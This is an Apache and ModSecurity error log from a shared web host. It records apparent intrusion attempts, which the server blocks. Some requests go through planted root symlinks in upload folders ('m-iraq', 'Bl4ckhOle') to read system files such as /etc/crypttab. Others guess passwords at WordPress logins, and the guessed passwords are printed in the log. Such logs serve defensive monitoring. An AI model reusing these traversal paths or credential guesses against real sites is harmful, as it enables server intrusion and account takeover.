[Fri Jul 17 09:22:06.232464 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm5lh1WDijTxd1xw5RDwAAAAc"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:22:06.232497 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm5lh1WDijTxd1xw5RDwAAAAc"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:22:06.671971 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:06.768712 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:07.377336 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty3/subsystem/ttyS1/flags
[Fri Jul 17 09:22:07.478474 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1d/eject
[Fri Jul 17 09:22:07.585338 2026] [autoindex:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/ns/
[Fri Jul 17 09:22:08.206938 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.54.140:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:01.2/firmware_node/physical_node/driver/unbind
[Fri Jul 17 09:22:08.212352 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:08.489479 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/log/imunify-realtime-av-stats.log"] [unique_id "almm6A5GPQ6hs4VrfMpG7wAAAAY"]
[Fri Jul 17 09:22:08.489921 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/log/imunify-realtime-av-stats.log"] [unique_id "almm6A5GPQ6hs4VrfMpG7wAAAAY"]
[Fri Jul 17 09:22:08.937157 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.334252 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.339596 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.397466 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.423732 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/log/imunify-realtime-av-stats.log"] [unique_id "almm6A5GPQ6hs4VrfMpG7wAAAAY"]
[Fri Jul 17 09:22:09.459977 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.650616 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.737694 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.838802 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:09.940312 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.056287 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS0/flags
[Fri Jul 17 09:22:10.165756 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.260127 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.358897 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.721579 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.765600 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.874550 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:10.968950 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.068756 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.168462 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.270455 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.373639 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.480643 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.585059 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.796840 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:11.881201 2026] [security2:error] [pid 2019501:tid 2019501] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almm6LEWOaI5pmYo9fnTewAAAAA"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:22:11.881248 2026] [security2:error] [pid 2019501:tid 2019501] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almm6LEWOaI5pmYo9fnTewAAAAA"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:22:11.897430 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.001226 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.406239 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.507192 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.609850 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.708873 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.810541 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:12.910981 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:13.114323 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:13.219055 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:13.275033 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:59604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:13.420182 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:13.622404 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:13.725101 2026] [core:error] [pid 2030955:tid 2030955] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/snmp6
[Fri Jul 17 09:22:13.926342 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almm7bEKozcCJ-ReuK0HpQAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1146&page_105=1915
[Fri Jul 17 09:22:13.926385 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almm7bEKozcCJ-ReuK0HpQAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1146&page_105=1915
[Fri Jul 17 09:22:13.928488 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:14.235363 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1b/eject
[Fri Jul 17 09:22:14.437939 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:14.758489 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:14.954392 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:15.047359 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:15.247774 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:15.349847 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:15.654700 2026] [autoindex:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/apache2/logs/
[Fri Jul 17 09:22:15.755403 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.060292 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.262013 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.360409 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.369681 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.462317 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.567372 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.664434 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup13/subsystem/wakeup11/device/device:0b/eject
[Fri Jul 17 09:22:16.765172 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:16.867311 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.016838 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:59752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:17.069591 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.171163 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.574296 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.574375 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.674971 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:17.762843 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:59780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:17.877749 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:18.079441 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:18.382093 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/crypttab
[Fri Jul 17 09:22:18.484545 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty9/subsystem/ttyS2/closing_wait
[Fri Jul 17 09:22:18.584523 2026] [core:error] [pid 2032156:tid 2032156] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/igmp
[Fri Jul 17 09:22:18.888270 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:0b/eject
[Fri Jul 17 09:22:19.294417 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:19.496818 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:19.612601 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almm8w5GPQ6hs4VrfMpG-gAAAAY"]
[Fri Jul 17 09:22:19.613007 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almm8w5GPQ6hs4VrfMpG-gAAAAY"]
[Fri Jul 17 09:22:19.627379 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:19.650654 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almm8w5GPQ6hs4VrfMpG-gAAAAY"]
[Fri Jul 17 09:22:19.701050 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:24.053538 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.74.116.219:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Com123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm-PwooI4qY7Jg93paNAAAABM"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:24.053978 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.74.116.219:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm-PwooI4qY7Jg93paNAAAABM"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:24.316169 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.74.116.219:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm-PwooI4qY7Jg93paNAAAABM"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:27.886406 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:56656] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:29.175772 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:29.180961 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:29.606266 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:29.881171 2026] [security2:error] [pid 2029579:tid 2029579] [client 209.42.21.221:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Maximsholdings123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm_SRF0UOO1RzB5_8zFQAAAA4"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:29.881553 2026] [security2:error] [pid 2029579:tid 2029579] [client 209.42.21.221:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm_SRF0UOO1RzB5_8zFQAAAA4"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:30.075741 2026] [security2:error] [pid 2029579:tid 2029579] [client 209.42.21.221:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "maximsholdings.com"] [uri "/wp-login.php"] [unique_id "almm_SRF0UOO1RzB5_8zFQAAAA4"], referer: https://maximsholdings.com/wp-login.php
[Fri Jul 17 09:22:31.002833 2026] [security2:error] [pid 1993619:tid 1993619] [client 144.76.32.235:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almm_o1dLClkUfK_dfHpmgAAAAI"]
[Fri Jul 17 09:22:31.002865 2026] [security2:error] [pid 1993619:tid 1993619] [client 144.76.32.235:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almm_o1dLClkUfK_dfHpmgAAAAI"]
[Fri Jul 17 09:22:32.678154 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:59668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:34.607152 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:59892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:37.811524 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnBYl9vhFBGA6D8l9_CgAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:22:37.811568 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnBYl9vhFBGA6D8l9_CgAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:22:38.106607 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:60052] AH02013: coalesce failed to read from data bucket
